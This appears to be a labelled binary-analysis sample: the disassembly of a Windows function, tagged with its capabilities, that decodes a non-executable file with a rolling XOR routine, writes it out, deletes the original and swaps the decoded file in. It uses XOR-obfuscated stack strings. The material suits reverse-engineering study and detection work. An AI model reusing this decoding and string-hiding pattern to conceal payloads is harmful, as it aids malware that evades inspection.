Function at 0x44c4f0
Capabilities:
Delete file
Encode data using xor
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f42f0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x128
mov eax, dword [0x679dc8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push ecx
lea ecx, [ebp - 0xf0]
call fcn.0045e680
mov dword [ebp - 4], 0
lea edi, [ebp - 0x110]
mov ecx, dword [ebp - 0xe0]
lea edx, [edi + 2]
mov dword [ebp - 0x110], 0x1ccebf8c
mov dword [ebp - 0x10c], 0x537a4e62
mov dword [ebp - 0x108], 0x8f5193e
mov dword [ebp - 0x104], 0xe1b75f5
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0x90], 0x1cabbfd3
mov dword [ebp - 0x8c], 0x53194e0c
mov dword [ebp - 0x88], 0x88c194c
mov dword [ebp - 0x84], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0x100], 0x35fc6e58
mov dword [ebp - 0xfc], 0xa3bc60fe
mov dword [ebp - 0xf8], 0x7d6825ce
mov dword [ebp - 0xf4], 0x5e869b7
movaps xmmword [ebp - 0x110], xmm1
movaps xmm1, xmmword [ebp - 0x100]
mov dword [ebp - 0x80], 0x35986e3d
mov dword [ebp - 0x7c], 0xa3bc60fe
mov dword [ebp - 0x78], 0x7d6825ce
mov dword [ebp - 0x74], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x80]
movaps xmmword [ebp - 0x100], xmm1
mov dword [ebp - 0x12c], ecx
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x44c616
sub edi, edx
mov eax, 0x7ffffffe
sar edi, 1
sub eax, ecx
cmp eax, edi
jb 0x44d0be
cmp dword [ebp - 0xdc], 8
lea edx, [ebp - 0xf0]
mov esi, 7
mov dword [ebp - 0xc8], 0
cmovae edx, dword [ebp - 0xf0]
lea eax, [ebp - 0xd8]
add ecx, edi
mov dword [ebp - 0x120], edx
mov dword [ebp - 0xc4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x118], eax
movups xmmword [ebp - 0xd8], xmm0
cmp ecx, esi
jbe 0x44c727
mov esi, ecx
or esi, 7
cmp esi, 0x7ffffffe
jbe 0x44c6a8
mov eax, closesocket
mov esi, 0x7ffffffe
add eax, eax
jmp 0x44c6c9
mov eax, 0xa
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x7fffffff
ja 0x44d0c3
add eax, eax
cmp eax, 0x1000
jb 0x44c6fe
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x44d0c3
push ecx
call fcn.005c7d49
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x44d0c8
mov edx, dword [ebp - 0x120]
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
mov ecx, dword [ebp - 0x11c]
jmp 0x44c71b
test eax, eax
je 0x44c719
push eax
call fcn.005c7d49
mov ecx, dword [ebp - 0x11c]
add esp, 4
mov edx, dword [ebp - 0x120]
jmp 0x44c71b
xor eax, eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xc4], esi
mov esi, dword [ebp - 0x12c]
add esi, esi
mov dword [ebp - 0xc8], ecx
push esi
push edx
push eax
call fcn.005c9520
add esp, 0xc
lea eax, [edi + edi]
mov edi, dword [ebp - 0x118]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [esi + edi]
push eax
call fcn.005c9520
mov eax, dword [ebp - 0x11c]
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
push ecx
push 0x80
push 3
mov word [edi + eax*2], cx
lea eax, [ebp - 0xf0]
cmp dword [ebp - 0xdc], 8
push ecx
cmovae eax, dword [ebp - 0xf0]
push 1
push connect
push eax
call esi
cmp dword [ebp - 0xc4], 8
lea ecx, [ebp - 0xd8]
push 0
cmovae ecx, dword [ebp - 0xd8]
mov edi, eax
push 0x80
push 1
push 0
push 0
push 0x40000000
push ecx
mov dword [ebp - 0x118], edi
call esi
mov edx, eax
mov dword [ebp - 0x11c], edx
test edi, edi
je 0x44cee9
test edx, edx
je 0x44cee9
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x128], 0
test edi, edi
je 0x44ce3a
push edi
call fcn.005d6977
mov esi, eax
add esp, 4
test esi, esi
je 0x44cce3
push 0
lea eax, [ebp - 0x124]
push eax
push edi
push esi
push dword [ebp - 0x118]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x44c9ae
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x60], 0x7ecad186
mov dword [ebp - 0x5c], 0x27392b60
mov dword [ebp - 0x58], 0x6dfe3923
mov dword [ebp - 0x54], 0x684f11e4
mov dword [ebp - 0x50], 0x15f5014f
mov dword [ebp - 0x4c], 0xd6cc0e97
mov dword [ebp - 0x48], 0x140e05ba
mov dword [ebp - 0x44], 0x2dc80cdb
mov dword [ebp - 0x40], 0x1b5ea62
mov dword [ebp - 0x3c], 0xeac841ca
mov dword [ebp - 0x38], 0xc085aa4
mov dword [ebp - 0x34], 0x64c9f9b4
mov dword [ebp - 0x30], 0x9a5217d1
mov dword [ebp - 0x2c], 0xd449ca8a
mov dword [ebp - 0x28], 0xee688e32
mov dword [ebp - 0x24], 0x73a07313
mov dword [ebp - 0xb0], 0x1cabbfd3
mov dword [ebp - 0xac], 0x53194e0c
mov dword [ebp - 0xa8], 0x88c194c
mov dword [ebp - 0xa4], 0xe6f7585
movaps xmm1, xmmword [ebp - 0xb0]
pxor xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x60], xmm1
movaps xmm1, xmmword [ebp - 0x50]
mov dword [ebp - 0xa0], 0x35986e3d
mov dword [ebp - 0x9c], 0xa3bc60fe
mov dword [ebp - 0x98], 0x7d6825ce
mov dword [ebp - 0x94], 0x5e869b7
pxor xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0x50], xmm1
movaps xmm1, xmmword [ebp - 0x40]
mov dword [ebp - 0x90], 0x6ec79807
mov dword [ebp - 0x8c], 0x85ab61b8
mov dword [ebp - 0x88], 0x2c323fc0
mov dword [ebp - 0x84], 0x6ee09d91
pxor xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0x40], xmm1
movaps xmm1, xmmword [ebp - 0x30]
push eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x80], 0x9a5217d1
mov dword [ebp - 0x7c], 0xd449ca8a
mov dword [ebp - 0x78], 0xee688e32
mov dword [ebp - 0x74], 0x73a07313
pxor xmm1, xmmword [ebp - 0x80]
push eax
movaps xmmword [ebp - 0x30], xmm1
call fcn.0044b300
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 8
push dword [ebp - 0x118]
call esi
mov edi, dword [ebp - 0x11c]
push edi
call esi
jmp 0x44cffa
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x120], eax
cmp eax, edi
jne 0x44cb29
cmp dword [esi], 0x905a4d
mov edi, 1
je 0x44c9fb
xor edx, edx
test eax, eax
je 0x44c9fb
mov al, byte [edx + esi]
lea ecx, [edi + 1]
xor al, byte [ebx + 8]
sub al, cl
mov byte [edx + esi], al
inc edx
cmp edi, 0xe
mov eax, 1
cmovne eax, ecx
mov edi, eax
mov eax, dword [ebp - 0x120]
cmp edx, eax
jb 0x44c9d5
mov edi, dword [ebp - 0x11c]
lea ecx, [ebp - 0x128]
push 0
push ecx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x44cb1b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x50], 0x68c2cd84
mov dword [ebp - 0x4c], 0x3f700869
mov dword [ebp - 0x48], 0x69ea3929
mov dword [ebp - 0x44], 0x6a0a19ec
mov dword [ebp - 0x40], 0x47fd461d
mov dword [ebp - 0x3c], 0x83ce0f8c
mov dword [ebp - 0x38], 0x180c4aad
mov dword [ebp - 0x34], 0x61cd498d
mov dword [ebp - 0x30], 0x6ec7922e
mov dword [ebp - 0x2c], 0x85ab61b8
mov dword [ebp - 0x28], 0x2c323fc0
mov dword [ebp - 0x24], 0x6ee09d91
mov dword [ebp - 0xa0], 0x1cabbfd3
mov dword [ebp - 0x9c], 0x53194e0c
mov dword [ebp - 0x98], 0x88c194c
mov dword [ebp - 0x94], 0xe6f7585
movaps xmm1, xmmword [ebp - 0xa0]
pxor xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x50], xmm1
movaps xmm1, xmmword [ebp - 0x40]
mov dword [ebp - 0x90], 0x35986e3d
mov dword [ebp - 0x8c], 0xa3bc60fe
mov dword [ebp - 0x88], 0x7d6825ce
mov dword [ebp - 0x84], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0x40], xmm1
movaps xmm1, xmmword [ebp - 0x30]
push eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x80], 0x6ec79807
mov dword [ebp - 0x7c], 0x85ab61b8
mov dword [ebp - 0x78], 0x2c323fc0
mov dword [ebp - 0x74], 0x6ee09d91
pxor xmm1, xmmword [ebp - 0x80]
push eax
movaps xmmword [ebp - 0x30], xmm1
call fcn.0044b300
add esp, 8
push esi
call fcn.005d203e
add esp, 4
jmp 0x44cce9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x120]
mov dword [ebp - 0x70], 0x72c4cd84
mov dword [ebp - 0x6c], 0x366b6e6b
mov dword [ebp - 0x68], 0x7bac7d2d
mov dword [ebp - 0x64], 0x220a0fec
mov dword [ebp - 0x60], 0x41fd291d
mov dword [ebp - 0x5c], 0xd7cf01b2
mov dword [ebp - 0x58], 0x121a578b
mov dword [ebp - 0x54], 0x61cd54c5
mov dword [ebp - 0x50], 0x7b4b82b
mov dword [ebp - 0x4c], 0xeb8b04c2
mov dword [ebp - 0x48], 0xc565aa5
mov dword [ebp - 0x44], 0xcc0f2e5
mov dword [ebp - 0x40], 0xff2037b4
mov dword [ebp - 0x3c], 0xf473aeeb
mov dword [ebp - 0x38], 0xce44ea17
mov dword [ebp - 0x34], 0x16da1a60
mov dword [ebp - 0x30], 0xc59944fb
mov dword [ebp - 0x2c], 0x844d2970
mov dword [ebp - 0x28], 0x99a98794
mov dword [ebp - 0x24], 0xb2296f2d
movaps xmm1, xmmword [ebp - 0x70]
mov dword [ebp - 0xc0], 0x1cabbfd3
mov dword [ebp - 0xbc], 0x53194e0c
mov dword [ebp - 0xb8], 0x88c194c
mov dword [ebp - 0xb4], 0xe6f7585
pxor xmm1, xmmword [ebp - 0xc0]
movaps xmmword [ebp - 0x70], xmm1
movaps xmm1, xmmword [ebp - 0x60]
mov dword [ebp - 0xb0], 0x35986e3d
mov dword [ebp - 0xac], 0xa3bc60fe
mov dword [ebp - 0xa8], 0x7d6825ce
mov dword [ebp - 0xa4], 0x5e869b7
pxor xmm1, xmmword [ebp - 0xb0]
movaps xmmword [ebp - 0x60], xmm1
movaps xmm1, xmmword [ebp - 0x50]
mov dword [ebp - 0xa0], 0x6ec79807
mov dword [ebp - 0x9c], 0x85ab61b8
mov dword [ebp - 0x98], 0x2c323fc0
mov dword [ebp - 0x94], 0x6ee09d91
pxor xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0x50], xmm1
movaps xmm1, xmmword [ebp - 0x40]
mov dword [ebp - 0x90], 0x9a5217d1
mov dword [ebp - 0x8c], 0xd449ca8a
mov dword [ebp - 0x88], 0xee688e32
mov dword [ebp - 0x84], 0x73a07313
pxor xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0x40], xmm1
movaps xmm1, xmmword [ebp - 0x30]
push edi
push eax
lea eax, [ebp - 0x70]
mov dword [ebp - 0x80], 0xa4fc36db
mov dword [ebp - 0x7c], 0xbe294c14
mov dword [ebp - 0x78], 0x93cda2b4
mov dword [ebp - 0x74], 0xb2296f2d
pxor xmm1, xmmword [ebp - 0x80]
push eax
movaps xmmword [ebp - 0x30], xmm1
call fcn.0044b300
push esi
call fcn.005d203e
add esp, 0x14
jmp 0x44cffa
mov edi, dword [ebp - 0x11c]
push dword [ebp - 0x118]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
cmp dword [ebp - 0xdc], 8
lea eax, [ebp - 0xf0]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmovae eax, dword [ebp - 0xf0]
push eax
call esi
cmp dword [ebp - 0xdc], 8
lea ecx, [ebp - 0xf0]
lea eax, [ebp - 0xd8]
cmovae ecx, dword [ebp - 0xf0]
cmp dword [ebp - 0xc4], 8
push ecx
cmovae eax, dword [ebp - 0xd8]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
lea eax, [ebp - 0xd8]
jne 0x44ce1d
cmp dword [ebp - 0xc4], 8
cmovae eax, dword [ebp - 0xd8]
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x90], 0x79ddd09e
mov dword [ebp - 0x8c], 0x3675274a
mov dword [ebp - 0x88], 0x7ae9391b
mov dword [ebp - 0x84], 0x221d1af7
mov dword [ebp - 0x80], 0x51f70d1d
mov dword [ebp - 0x7c], 0xc799409b
mov dword [ebp - 0x78], 0x7d6825c4
mov dword [ebp - 0x74], 0x5e869b7
movaps xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0x40], 0x1cabbfd3
mov dword [ebp - 0x3c], 0x53194e0c
mov dword [ebp - 0x38], 0x88c194c
mov dword [ebp - 0x34], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x90], xmm1
movaps xmm1, xmmword [ebp - 0x80]
push eax
lea eax, [ebp - 0x90]
mov dword [ebp - 0x30], 0x35986e3d
mov dword [ebp - 0x2c], 0xa3bc60fe
mov dword [ebp - 0x28], 0x7d6825ce
mov dword [ebp - 0x24], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x80], xmm1
call fcn.0044b300
add esp, 8
jmp 0x44cffa
cmp dword [ebp - 0xc4], 8
cmovae eax, dword [ebp - 0xd8]
push eax
call esi
mov byte [ebp - 0x111], 1
jmp 0x44d001
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x90], 0x7dddd19a
mov dword [ebp - 0x8c], 0x737d2760
mov dword [ebp - 0x88], 0x6de0702a
mov dword [ebp - 0x84], 0x740606a5
mov dword [ebp - 0x80], 0x10b85458
mov dword [ebp - 0x7c], 0x8694409a
mov dword [ebp - 0x78], 0x7d620caa
mov dword [ebp - 0x74], 0x5e869b7
movaps xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0x40], 0x1cabbfd3
mov dword [ebp - 0x3c], 0x53194e0c
mov dword [ebp - 0x38], 0x88c194c
mov dword [ebp - 0x34], 0xe6f7585
pxor xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x90], xmm1
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0x30], 0x35986e3d
mov dword [ebp - 0x2c], 0xa3bc60fe
mov dword [ebp - 0x28], 0x7d6825ce
mov dword [ebp - 0x24], 0x5e869b7
pxor xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x80], xmm1
lea eax, [ebp - 0x90]
push edi
jmp 0x44cff1
mov dword [ebp - 0x50], 0x70c2de95
mov ecx, str.false
mov dword [ebp - 0x4c], 0x27392a69
test edx, edx
mov dword [ebp - 0x48], 0x6de83923
mov eax, ecx
mov dword [ebp - 0x44], 0x7e1607e6
mov esi, str.true
mov dword [ebp - 0x40], 0x5cfe4e49
cmovne eax, esi
mov dword [ebp - 0x3c], 0x8b9c0592
test edi, edi
mov dword [ebp - 0x38], 0x504856eb
mov dword [ebp - 0x34], 0x2c9b4c97
cmovne ecx, esi
mov dword [ebp - 0x30], 0x6ec7980d
mov dword [ebp - 0x2c], 0x85ab61b8
mov dword [ebp - 0x28], 0x2c323fc0
mov dword [ebp - 0x24], 0x6ee09d91
mov dword [ebp - 0xa0], 0x1cabbfd3
mov dword [ebp - 0x9c], 0x53194e0c
mov dword [ebp - 0x98], 0x88c194c
mov dword [ebp - 0x94], 0xe6f7585
movaps xmm1, xmmword [ebp - 0xa0]
pxor xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x50], xmm1
mov dword [ebp - 0x90], 0x35986e3d
mov dword [ebp - 0x8c], 0xa3bc60fe
mov dword [ebp - 0x88], 0x7d6825ce
mov dword [ebp - 0x84], 0x5e869b7
movaps xmm1, xmmword [ebp - 0x90]
pxor xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x40], xmm1
mov dword [ebp - 0x80], 0x6ec79807
mov dword [ebp - 0x7c], 0x85ab61b8
mov dword [ebp - 0x78], 0x2c323fc0
mov dword [ebp - 0x74], 0x6ee09d91
movaps xmm1, xmmword [ebp - 0x80]
pxor xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x30], xmm1
lea eax, [ebp - 0x50]
push ecx
push eax
call fcn.0044b300
add esp, 0xc
mov byte [ebp - 0x111], 0
mov ecx, dword [ebp - 0xc4]
cmp ecx, 8
jb 0x44d041
mov edx, dword [ebp - 0xd8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44d037
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d0c8
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebp - 0xdc]
xor eax, eax
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 7
mov word [ebp - 0xd8], ax
cmp ecx, 8
jb 0x44d09a
mov edx, dword [ebp - 0xf0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x44d090
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44d0c8
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov al, byte [ebp - 0x111]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005c7d0a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0044b530
call fcn.0044b490
call fcn.005d228e
int3